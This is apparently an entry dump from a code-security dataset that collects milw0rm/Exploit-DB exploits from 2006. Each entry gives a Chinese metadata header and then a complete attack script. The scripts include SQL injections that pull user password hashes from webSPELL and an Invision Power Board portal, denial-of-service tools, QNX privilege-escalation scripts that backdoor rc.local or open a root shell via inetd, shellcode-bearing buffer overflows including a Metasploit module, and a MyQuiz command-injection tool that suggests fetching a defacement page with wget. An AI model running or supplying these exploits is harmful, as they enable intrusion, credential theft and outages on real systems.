QLWD/code_shield huggingface dataset:
标题: webSPELL 4.01 - 'title_op' SQL Injection EDB-ID: 1498 CVE: 2006-0728 类型: WEBAPPS 平台: PHP 发布日期: 2006-02-14 漏洞利用脚本: <?
error_reporting(E_ERROR);

function xss_init()
{
    if (!extension_loaded('php_curl'))
    {
       if (!dl('curl.so') and !dl('php_curl.so') and !dl('php_curl.dll'))
       die ("oo error - cannot load curl extension!");
    }
}

function xss_header()
{
    echo "\noooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo\n";
    echo "                                  oo    ooooooo     ooooooo\n";
    echo "                    oooo   oooo o888  o88     888 o888   888o\n";
    echo "                      888o888    888        o888   888888888\n";
    echo "                      o88888o    888     o888   o 888o   o888\n";
    echo "                    o88o   o88o o888o o8888oooo88   88ooo88\n";
    echo "oooooooooooooooooooooooooooo webspell 4.01 exploit ooooooooooooooooooooooooooooo\n";
    echo "oo usage          $ php webspell-401-exploit.php [url] [prefix]\n";
    echo "oo proxy support  $ php webspell-401-exploit.php [url] [prefix] [proxy]:[port]\n";
    echo "oo example        $ php webspell-401-exploit.php http://localhost webs_\n";
    echo "oo open the file webspell_pw.html - there you find the passwords of all users\n\n";
}

function xss_bottom()
{
    echo "\noo discover : x128 - alexander wilhelm - 13/02/2006\n";
    echo "oo contact  : exploit <at> x128.net                    oo website : www.x128.net";
}

function xss_exploit()
{
    $xss_target = $_SERVER['argv'][1] . "/index.php";
    $xss_http_get = "?site=search&action=search";
    $xss_http_post = "table=news&title1=9a39b0c5e6849658e30d1432a308103d&title_op=UNION SELECT 1, 1, 1, 1, username, `password`, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 FROM ". $_SERVER['argv'][2] ."user/*";

    $xss_connection = curl_init();

    if ($_SERVER['argv'][3])
    {
        curl_setopt($xss_connection, CURLOPT_TIMEOUT, 8);
        curl_setopt($xss_connection, CURLOPT_PROXY, $_SERVER['argv'][3]);
    }

    curl_setopt ($xss_connection, CURLOPT_URL, $xss_target . $xss_http_get);
    curl_setopt ($xss_connection, CURLOPT_HEADER, 0);
    curl_setopt ($xss_connection, CURLOPT_POST, 1);
    curl_setopt ($xss_connection, CURLOPT_POSTFIELDS, $xss_http_post);
    curl_setopt ($xss_connection, CURLOPT_RETURNTRANSFER, 1);
    curl_setopt ($xss_connection, CURLOPT_USERAGENT, 'x128');

    $xss_source = curl_exec($xss_connection) or die("oo error - cannot connect!");

    if ($xss_source) echo "oo dafaced ...\n";

    $xss_output = fopen("webspell_pw.html","w");
    fputs($xss_output, $xss_source);
    fclose($xss_output);

    curl_close ($xss_connection); 
}

xss_init();
xss_header();
xss_exploit();
xss_bottom();
?>

# milw0rm.com [2006-02-14] URL: https://www.exploit-db.com/exploits/1498
标题: Half-Life CSTRIKE Server 1.6 (Non Steam) - Denial of Service EDB-ID: 1483 CVE: 2006-0734 2003-1325 类型: DOS 平台: MULTIPLE 发布日期: 2006-02-11 漏洞利用脚本: #!/usr/bin/perl
# Server must not be running steam. /str0ke


# Half-Life engine remote DoS exploit
# bug found by Firestorm
# tested against cstrike 1.6 Windows build-in server, cstrike 1.6 linux dedicated server
use IO::Socket;
die "usage: ./csdos <host>" unless $ARGV[0];
$host=$ARGV[0];

if (fork())
{       econnect($host); }
else
{ econnect($host); };
exit;

sub econnect($)
{
        my $host=$_[0];
        my $sock = new
IO::Socket::INET(PeerAddr=>$host,PeerPort=>'27015',Proto=>'udp');
        die "Could not create socket: $!\n" unless $sock;
        $cmd="\xff\xff\xff\xff";
        syswrite $sock, $cmd."getchallenge";

        sysread $sock,$b,65535;  print $b,"\n";
        @c=split(/ /,$b);

        $c2=$c[1];

        $q=$cmd."connect 47 $c2 \"\\prot\\4\\unique\\0\\raw\\valve\\cdkey\\f0ef8a36258af1bb64ed866538c9db76\"\"\\\"\0\0";
print '>',$q,"\n";
syswrite $sock, $q;
sysread $sock,$b,65535; print $b,"\n";
sleep 3;
close $sock;
}

# milw0rm.com [2006-02-11] URL: https://www.exploit-db.com/exploits/1483
标题: Microsoft HTML Help Workshop - '.hhp' Denial of Service EDB-ID: 1488 CVE: 2006-0564 2009-0133 类型: DOS 平台: WINDOWS 发布日期: 2006-02-10 漏洞利用脚本: [OPTIONS]
Compatibility=1.1 or later
Compiled file=aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaUUUUr0xaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Display compile progress=No
Language=0x419 Ðóññêèé

[INFOTYPES]

# milw0rm.com [2006-02-10] URL: https://www.exploit-db.com/exploits/1488
标题: Invision Power Board 2.1.4 - Register Users Denial of Service EDB-ID: 1489 CVE: 2006-0888 类型: DOS 平台: MULTIPLE 发布日期: 2006-02-10 漏洞利用脚本: #!/usr/bin/perl
use IO::Socket;
##########################################################
##   _______ _______ ______    #
##   |______ |______ |     \   #
##   ______| |______ |_____/   #
##                             #
##IPB Register Multiple Users Denial of Service      #
##Doesn't Work on forums using "Code Confirmation"  #
##Created By SkOd                                        #
##SED security Team                                      #
##http://www.sed-team.be                                 #
##skod.uk@gmail.com                                      #
##ISRAEL                                                 #
##########################################################

print q{
############################################################
#        Invision Power Board Multiple Users DOS    #
#  Tested on IPB 2.0.1      #
#     created By SkOd. SED Security Team             #
############################################################
};
$rand=rand(10);
print "Forum Host: ";
$serv = <stdin>;
chop ($serv);
print "Forum Path: ";
$path = <stdin>;
chop ($path);
for ($i=0; $i<9999; $i++)
{
$name="sedXPL_".$rand.$i;
$data = "act=Reg&CODE=02&coppa_user=0&UserName=".$name."&PassWord=sedbotbeta&PassWord_Check=sedbotbeta&EmailAddress=".$name."\@host.com&EmailAddress_two=".$name."\@host.com&allow_admin_mail=1&allow_member_mail=1&day=11&month=11&year=1985&agree=1";
$len = length $data;
$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "Cennot Connect Host, it's can be beacuse the host dosed";
print $get1 "POST ".$path."index.php HTTP/1.0\n";
print $get1 "Host: ".$serv."\n";
print $get1 "Content-Type: application/x-www-form-urlencoded\n";
print $get1 "Content-Length: ".$len."\n\n";
print $get1 $data;
syswrite STDOUT, "+";
}
print "Forum shuld be Dosed. Check it out...\n";

# milw0rm.com [2006-02-10] URL: https://www.exploit-db.com/exploits/1489
标题: QNX RTOS 6.3.0 - Insecure 'rc.local' Permissions System Crash / Privilege Escalation EDB-ID: 1481 CVE: 2006-0623 类型: LOCAL 平台: QNX 发布日期: 2006-02-08 漏洞利用脚本: #!/bin/sh
# this combines http://www.idefense.com/intelligence/vulnerabilities/display.php?id=387
# and http://www.idefense.com/intelligence/vulnerabilities/display.php?id=386
# into local r00t w00t t00t t00t, hugs and kisses from www.lort.dk. 
# unset PAGER; man chmod | mail -s "urgent reading" support@qnx.com
# kokanin discovered this around august/september 2004
echo "performing check"
if [ -w /etc/rc.d/rc.local ] ; 
then echo "check passed, backdooring system" && 
cat >/tmp/moo.c << __EOF__ && cd /tmp && make moo && echo "chown root /tmp/moo\
&& chmod 6755 /tmp/moo" >> /etc/rc.d/rc.local && echo "rc.local backdoored,\
 crashing system" && echo -e "break *0xb032d59f\nr\ncont\ncont" | gdb gdb; 
int main(){
setuid(0);
system("/bin/sh");
}
__EOF__
else echo "system is not a default QNX 6.3.0 install, or someone set correct permissions manually, sorry";
fi

# milw0rm.com [2006-02-08] URL: https://www.exploit-db.com/exploits/1481
标题: Microsoft HTML Help Workshop - '.hhp' Local Buffer Overflow (2) EDB-ID: 1490 CVE: 2009-0133 2006-0564 类型: LOCAL 平台: WINDOWS 发布日期: 2006-02-11 漏洞利用脚本: /*
Microsoft HTML Help Workshop .hhp file Compiled File Header Buffer Overflow Exploit
The Buffer Overlfow in Compiled File in Options in a HHP file.

Bug found by:darkeagle
Exploit coded by:k3xji
Mail:sumerc@gmail.com
Web: www.guvenliklab.com

Tested:Win XP SP2
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define BUFLEN 0xe6

char sta[]=
"[OPTIONS]\n"
"Compatibility=1.1 or later\n"
"Compiled file=";

char fin[]=
"Display compile progress=No\n"
"Language=Turkish\n\n\n"
"[INFOTYPES]";

char jmpcode[]= "\x5d\x38\x82\x7c\x5d\x38\x82\x7c\x90\x90\x90\x90\x83\xEC\x34\x90\x83\xEC\x78\x90\xFF\xE4\x90\x90";

char shellcode[]=
    //Taken from ATmaCA's Execute Calc.exe shellcode.Thx.A bit lazy to call ExitProcess:P
    "\x54\x50\x53\x50\x29\xc9\x83\xe9\xde\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e\x02"
    "\xdd\x0e\x4d\x83\xee\xfc\xe2\xf4\xfe\x35\x4a\x4d\x02\xdd\x85\x08\x3e\x56\x72\x48"
    "\x7a\xdc\xe1\xc6\x4d\xc5\x85\x12\x22\xdc\xe5\x04\x89\xe9\x85\x4c\xec\xec\xce\xd4"
    "\xae\x59\xce\x39\x05\x1c\xc4\x40\x03\x1f\xe5\xb9\x39\x89\x2a\x49\x77\x38\x85\x12"
    "\x26\xdc\xe5\x2b\x89\xd1\x45\xc6\x5d\xc1\x0f\xa6\x89\xc1\x85\x4c\xe9\x54\x52\x69"
    "\x06\x1e\x3f\x8d\x66\x56\x4e\x7d\x87\x1d\x76\x41\x89\x9d\x02\xc6\x72\xc1\xa3\xc6"
    "\x6a\xd5\xe5\x44\x89\x5d\xbe\x4d\x02\xdd\x85\x25\x3e\x82\x3f\xbb\x62\x8b\x87\xb5"
    "\x81\x1d\x75\x1d\x6a\xa3\xd6\xaf\x71\xb5\x96\xb3\x88\xd3\x59\xb2\xe5\xbe\x6f\x21"
    "\x61\xdd\x0e\x4d";

int main(int argc,char *argv[])
{

 printf("\nMicrosoft Help WorkShop Compiled File Header Buffer Overflow");
    printf("\nBug discovered by darkeagle");
 printf("\nExploit coded by k3xji");
    printf("\nE-Mail: sumerc@gmail.com");

 FILE *vuln;
 char *overflow;
 overflow = (char*)malloc(BUFLEN); 
 vuln = fopen("poc.hhp","w");

 //build overflow buffer here.
 memset(overflow,0x90,BUFLEN);         //fill noPs
 memcpy(overflow+0x2a,shellcode,sizeof(shellcode));  //shellcod3
 memcpy(overflow+0xce,jmpcode,sizeof(jmpcode));      //jmpcod3
 
 if(vuln)
 {
  //Write to the poc.hhp file
  fprintf(vuln,"%s%s\"/>\n%s",sta,overflow,fin);
  fclose(vuln);
 }
 printf("\n\npoc.hhp file is written.\n");
 printf("Open file with Microsoft Help Workshop.\n");
 return 0;
}

// milw0rm.com [2006-02-11] URL: https://www.exploit-db.com/exploits/1490
标题: Microsoft Internet Explorer 7.0 Beta 2 - 'urlmon.dll' Denial of Service EDB-ID: 1475 CVE: 2006-0544 类型: DOS 平台: WINDOWS 发布日期: 2006-02-07 漏洞利用脚本: <!--- 
    Internet Explorer 7.0 Beta 2 urlmon.dll DoS 
    
    Discovered by:
    Tom Ferris
    <tommy[at]security-protocols[dot]com>
    
    Tested on:
    Windows XP SP2
    
    Vulnerable Versions:
    IE 7.0.5296.0
    
    1/31/2006 Security-Protocols.com
    
    This program is free software; you can redistribute it and/or modify it under 
    the terms of the GNU General Public License version 2, 1991 as published by
    the Free Software Foundation.
!-->

<BGSOUND SRC=file://------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- >

# milw0rm.com [2006-02-07] URL: https://www.exploit-db.com/exploits/1475
标题: QNX Neutrino 6.2.1 - 'phfont' Race Condition Privilege Escalation EDB-ID: 1479 CVE: 2006-0620 类型: LOCAL 平台: QNX 发布日期: 2006-02-08 漏洞利用脚本: #!/bin/sh
# word, exploit for http://www.idefense.com/intelligence/vulnerabilities/display.php?id=383
# greetings and salutations from www.lort.dk
# kokanin@dtors 18/10/2003
# $ cksum /usr/photon/bin/phfont
# 4123428723      30896 /usr/photon/bin/phfont
# $ uname -a
# QNX localhost 6.2.1 2003/01/08-14:50:46est x86pc x86 
cat > phfontphf.c << __EOF__
int main(){
setuid(0);
system("echo 1234 stream tcp nowait root  /bin/sh       sh -i>/tmp/dsr && /usr/sbin/inetd /tmp/dsr");
} 
__EOF__
make phfontphf >/dev/null
ln -s /usr/photon/bin/phfont ./phfont
export PHFONT=hello
export PHOTON2_PATH=mom
./phfont
rm phfont*

# milw0rm.com [2006-02-08] URL: https://www.exploit-db.com/exploits/1479
标题: MyQuiz 1.01 - 'PATH_INFO' Arbitrary Command Execution EDB-ID: 1471 CVE: 2006-0628 类型: WEBAPPS 平台: CGI 发布日期: 2006-02-06 漏洞利用脚本: #!/usr/bin/perl
# => MyQuiz Remote Command Execution Exploit
# -> By Hessam-x  / www.hackerz.ir
# manual exploiting --> http://[target]/cgi-bin/myquiz.pl/ask/;<Command>|
# SecurityFocus [bug] : http://www.securityfocus.com/archive/1/423921/30/0/threaded
# /   |   \_____    ____ |  | __ ___________________
#/    ~    \__  \ _/ ___\|  |/ // __ \_  __ \___   /
#\    Y    // __ \\  \___|    <\  ___/|  | \//    /
# \___|_  /(____  /\___  >__|_ \\___  >__|  /_____ \
#       \/      \/     \/     \/    \/            \/
# Iran Hackerz Security Team
# Hessam-x : www.hessamx.net

use LWP::Simple;

print "-------------------------------------------\n";
print "= MyQuiz Remote Command Execution Exploit =\n";
print "=       By Hessam-x  - www.hackerz.ir     =\n";
print "-------------------------------------------\n\n";


       print "Target(www.example.com)\> ";
       chomp($targ = <STDIN>);

       print "path: (/cgi-bin/myquiz.pl/ask/)\>";
       chomp($path=<STDIN>);

       print "command: (wget www.hackerz.ir/deface.htm)\>";
       chomp($comd=<STDIN>);


$page=get("http://".$targ.$path) || die "[-] Unable to retrieve: $!";
print "[+] Connected to: $targ\n";
print "[~] Sending exploiting request,wait....\n";
get("http://".$targ.$path.";".$comd."|")
print "[+] Exploiting request done!\n";
print "Enjoy !";

# milw0rm.com [2006-02-06] URL: https://www.exploit-db.com/exploits/1471
标题: Sony/Ericsson Bluetooth - Reset Display Denial of Service EDB-ID: 1473 CVE: 2006-0671 类型: DOS 平台: HARDWARE 发布日期: 2006-02-06 漏洞利用脚本: /* Sony/Ericsson reset display - PoC */
/* Pierre BETOUIN - pierre.betouin@infratech.fr */
/* 05-02-2006 */
/* Vulnerability found using BSS fuzzer : */
/* Download www.secuobs.com/news/05022006-bluetooth10.shml */
/* */
/* Causes anormal behaviours on some Sony/Ericsson */
/* cell phones */
/* Vulnerable tested devices : */
/* - K600i */
/* - V600i */
/* - K750i */
/* - W800i */
/* - And maybe other ones... */
/* */
/* Vulnerable devices will slowly turn their screen into */
/* black and then display a white screen. */
/* After a short period (~45sec), they will go back to */
/* their normal behaviour */
/* */
/* gcc -lbluetooth reset_display_sonyericsson.c */
/* -o reset_display_sonyericsson */
/* ./reset_display_sonyericsson 00:12:EE:XX:XX:XX */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <bluetooth/l2cap.h>

#define SIZE 4
#define FAKE_SIZE 1 // SIZE - 3 (3 bytes <=> L2CAP header)

int main(int argc, char **argv)
{
char *buffer;
l2cap_cmd_hdr *cmd;
struct sockaddr_l2 addr;
int sock, sent, i;

if(argc < 2)
{
fprintf(stderr, "%s <btaddr>\n", argv[0]);
exit(EXIT_FAILURE);
}

if ((sock = socket(PF_BLUETOOTH, SOCK_RAW, BTPROTO_L2CAP)) < 0)
{
perror("socket");
exit(EXIT_FAILURE);
}

memset(&addr, 0, sizeof(addr));
addr.l2_family = AF_BLUETOOTH;

if (bind(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("bind");
exit(EXIT_FAILURE);
}

str2ba(argv[1], &addr.l2_bdaddr);

if (connect(sock, (struct sockaddr *) &addr, sizeof(addr)) < 0)
{
perror("connect");
exit(EXIT_FAILURE);
}

if(!(buffer = (char *) malloc ((int) SIZE + 1)))
{
perror("malloc");
exit(EXIT_FAILURE);
}

memset(buffer, 90, SIZE);

cmd = (l2cap_cmd_hdr *) buffer;
cmd->code = L2CAP_ECHO_REQ;
cmd->ident = 1;
cmd->len = FAKE_SIZE;

if( (sent=send(sock, buffer, SIZE, 0)) >= 0)
{
printf("L2CAP packet sent (%d)\n", sent);
}

printf("Buffer:\t");
for(i=0; i<sent; i++)
printf("%.2X ", (unsigned char) buffer[i]);
printf("\n");

free(buffer);
close(sock);
return EXIT_SUCCESS;
}

// milw0rm.com [2006-02-06] URL: https://www.exploit-db.com/exploits/1473
标题: Invision Power Board Dragoran Portal Mod 1.3 - SQL Injection EDB-ID: 1461 CVE: 2006-0520 类型: WEBAPPS 平台: PHP 发布日期: 2006-01-31 漏洞利用脚本: #!/usr/bin/perl
###########################################
#IPB Portal 1.3->Invision Power Board plugin
#Created By SkOd
#SED security Team , http://sed-team.be
###########################################
#google:
#"Portal 1.3 by Dragoran"
###########################################



use IO::Socket;
if (@ARGV < 3){
print q{
############################################################
#      IPB Portal 1.3 SQL injection Get Hash Exploit       #
#          Tested on Invision Power Board 1.3.0     #
#     created By SkOd. SED Security Team             #
############################################################
 ipbpro.pl [HOST] [PATH] [Target id]
   ipbpro.pl www.host.com /forum/ 2 
############################################################
};
exit;
}
$serv = $ARGV[0];
$dir = $ARGV[1];
$id = $ARGV[2];


$serv =~ s/(http:\/\/)//eg;
$path = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,1,10),substring(password,11,20),substring(password,21,30)%20FROM%20ibf_members%20Where%20id='.$id.'/*';
$path2 = $dir.'index.php?act=portal&site=-999%20UNION%20SELECT%20substring(password,31,32),null,null%20FROM%20ibf_members%20Where%20id='.$id.'/*';
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Connect Failed\r\n";

print "[+]Connecting...\n";
print $socket "GET $path HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";
print "[+]Connected\n";
print "[+]User ID: $id\n";
print "[+]MD5 Hash: ";
while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$serv", PeerPort => "80") || die "[-]Exploit Failed\r\n";
print $socket "GET $path2 HTTP/1.1\n";
print $socket "Host: $serv\n";
print $socket "Accept: */*\n";
print $socket "Connection: close\n\n";

while ($answer = <$socket>)
{
$answer =~ s/40%//eg;
$answer =~ s/30%//eg;
$answer =~ m/valign="top" width="(.*?)"/ && print "$1";
}

# milw0rm.com [2006-01-31] URL: https://www.exploit-db.com/exploits/1461
标题: SoftiaCom wMailServer 1.0 - SMTP Remote Buffer Overflow (Metasploit) EDB-ID: 1463 CVE: 2005-2287 类型: REMOTE 平台: WINDOWS 发布日期: 2006-02-01 漏洞利用脚本: ##
# This file is part of the Metasploit Framework and may be redistributed
# according to the licenses defined in the Authors field below. In the
# case of an unknown or missing license, this file defaults to the same
# license as the core Framework (dual GPLv2 and Artistic). The latest
# version of the Framework can always be obtained from metasploit.com.
##

package Msf::Exploit::wmailserver_smtp;
use base "Msf::Exploit";
use strict;
use Pex::Text;

my $advanced = { };

my $info =
  {

 'Name'     => 'SoftiaCom WMailserver 1.0 SMTP Buffer Overflow',
 'Version'  => '$Revision: 1.1 $',
 'Authors'  => [ 'y0 [at] w00t-shell.net', ],
 'Arch'  => [ 'x86' ],
 'OS'    => [ 'win32', 'winnt', 'win2000', 'winxp' ],
 'Priv'  => 0,
 'UserOpts'  =>
   {
  'RHOST' => [1, 'ADDR', 'The target address'],
  'RPORT' => [1, 'PORT', 'The target port', 25],
  'SSL'   => [0, 'BOOL', 'Use SSL'],
   },
 'AutoOpts' => { 'EXITFUNC' => 'thread' },
 'Payload' =>
   {
  'Space'     => 600,
  'BadChars'  => "\x00\x0a\x0d\x20:=+\x22",
  'Prepend'   => "\x81\xc4\xff\xef\xff\xff\x44",
  'Keys'      => ['+ws2ord'],
   },

 'Description'  => Pex::Text::Freeform(qq{
 This module exploits a stack overflow in SoftiaCom WMailserver 1.0 (SMTP)
 via a SEH frame overwrite.
}),

 'Refs'  =>
   [
  ['CVE', 'CAN-2005-2287'],
  ['BID', '14213'],
   ],
 'Targets' =>
   [
  ['Windows NT 4.0 English SP4/SP5/SP6', 0x776a1799],
  ['Windows 2000 English ALL', 0x75022ac4],
  ['Windows XP English SP0/SP1', 0x71aa32ad],
   ],
 'Keys' => ['smtp'],
  };

sub new {
 my $class = shift;
 my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
 return($self);
}

sub Exploit
{
 my $self = shift;
 my $target_host = $self->GetVar('RHOST');
 my $target_port = $self->GetVar('RPORT');
 my $target_idx  = $self->GetVar('TARGET');
 my $shellcode   = $self->GetVar('EncodedPayload')->Payload;
 my $target = $self->Targets->[$target_idx];

 if (! $self->InitNops(128)) {
  $self->PrintLine("[*] Failed to initialize the nop module.");
  return;
 }

 my $splat  = Pex::Text::UpperCaseText(5117);

 my $sploit =
   " ". $splat. "\xeb\x06". pack('V', $target->[1]).
   $shellcode. "\r\n\r\n";

 $self->PrintLine(sprintf("[*] Trying to exploit target %s 0x%.8x", $target->[0], $target->[1]));

 my $s = Msf::Socket::Tcp->new
   (
  'PeerAddr'  => $target_host,
  'PeerPort'  => $target_port,
  'LocalPort' => $self->GetVar('CPORT'),
  'SSL'       => $self->GetVar('SSL'),
   );
 if ($s->IsError) {
  $self->PrintLine('[*] Error creating socket: ' . $s->GetError);
  return;
 }

 $s->Send($sploit);
 $self->Handler($s);
 $s->Close();
 return;
}

1;

# milw0rm.com [2006-02-01] URL: https://www.exploit-db.com/exploits/1463
标题: Arescom NetDSL-1000 - 'TelnetD' Remote Denial of Service EDB-ID: 1464 CVE: 2002-0256 类型: DOS 平台: HARDWARE 发布日期: 2006-02-02 漏洞利用脚本: /*
    Do you want to hack? les`t go .. free your mind
    Tu veux etre un hacker? allez .. if faut libere ta tete!
    Quieres hackear? dale .. libera tu mente
    
    Vulnerabilidad en modem Arescom NetDSL-1000 
    por un buffer overflow debido < [255] en la pila stack.
    
    DoS atack por Fabian Ramirez S. <framirez@akori.fr> 
      www.framirez.com


   If you flood the telnet configuration a couple dozen times with long
 strings, eventually the telnetd service flat out dies. Routing functions
 of the NetDSL continue to work fine as before. It is unknown whether only
 the telnetd service is affected, other means of remote configuration may
 have become unavailable as well.

 Remember:   KING
    
    Solo para fines educativos! (CREEEEEEO ZEEEEEEEEEEE)
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <netdb.h>        

#define PORT 23
#define MAXDATASIZE 100   

char shellcode[]= "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1\xC0\xC1"
    "\x89\x28\x12\x34\xC0\xC1\xC0\xC1\xC0\xC1";

int main(int argc, char *argv[])
{
   int fd, numbytes,i;
   char buf[MAXDATASIZE];  
   struct hostent *he;         
   struct sockaddr_in server;  

   printf("Exploit Arescom NetDSL-1000 executing\n");
   printf ("      by framirez\n");
   
   if (argc !=2) { 
      printf("Uso: %s <Dirección IP>\n",argv[0]);
      exit(-1);
   }


    
   if ((he=gethostbyname(argv[1]))==NULL){       
      printf("gethostbyname() error\n");
      exit(-1);
   }

   if ((fd=socket(AF_INET, SOCK_STREAM, 0))==-1){  
      printf("socket() error\n");
      exit(-1);
   }

   server.sin_family = AF_INET;
   server.sin_port = htons(PORT); 
   server.sin_addr = *((struct in_addr *)he->h_addr);  

   if(connect(fd, (struct sockaddr *)&server,
      sizeof(struct sockaddr))==-1){ 
      printf("ERROR conectando al host\n");
      exit(-1);
   }
      
    for (i=0;i<3;i++)
    {
    send(fd,shellcode,255,0);
    }
    
    printf ("Exploit enviado con EXITO al destinatario\n");
    printf ("       by framirez\n");

   close(fd); 

  return 1;
}

// milw0rm.com [2006-02-02] URL: https://www.exploit-db.com/exploits/1464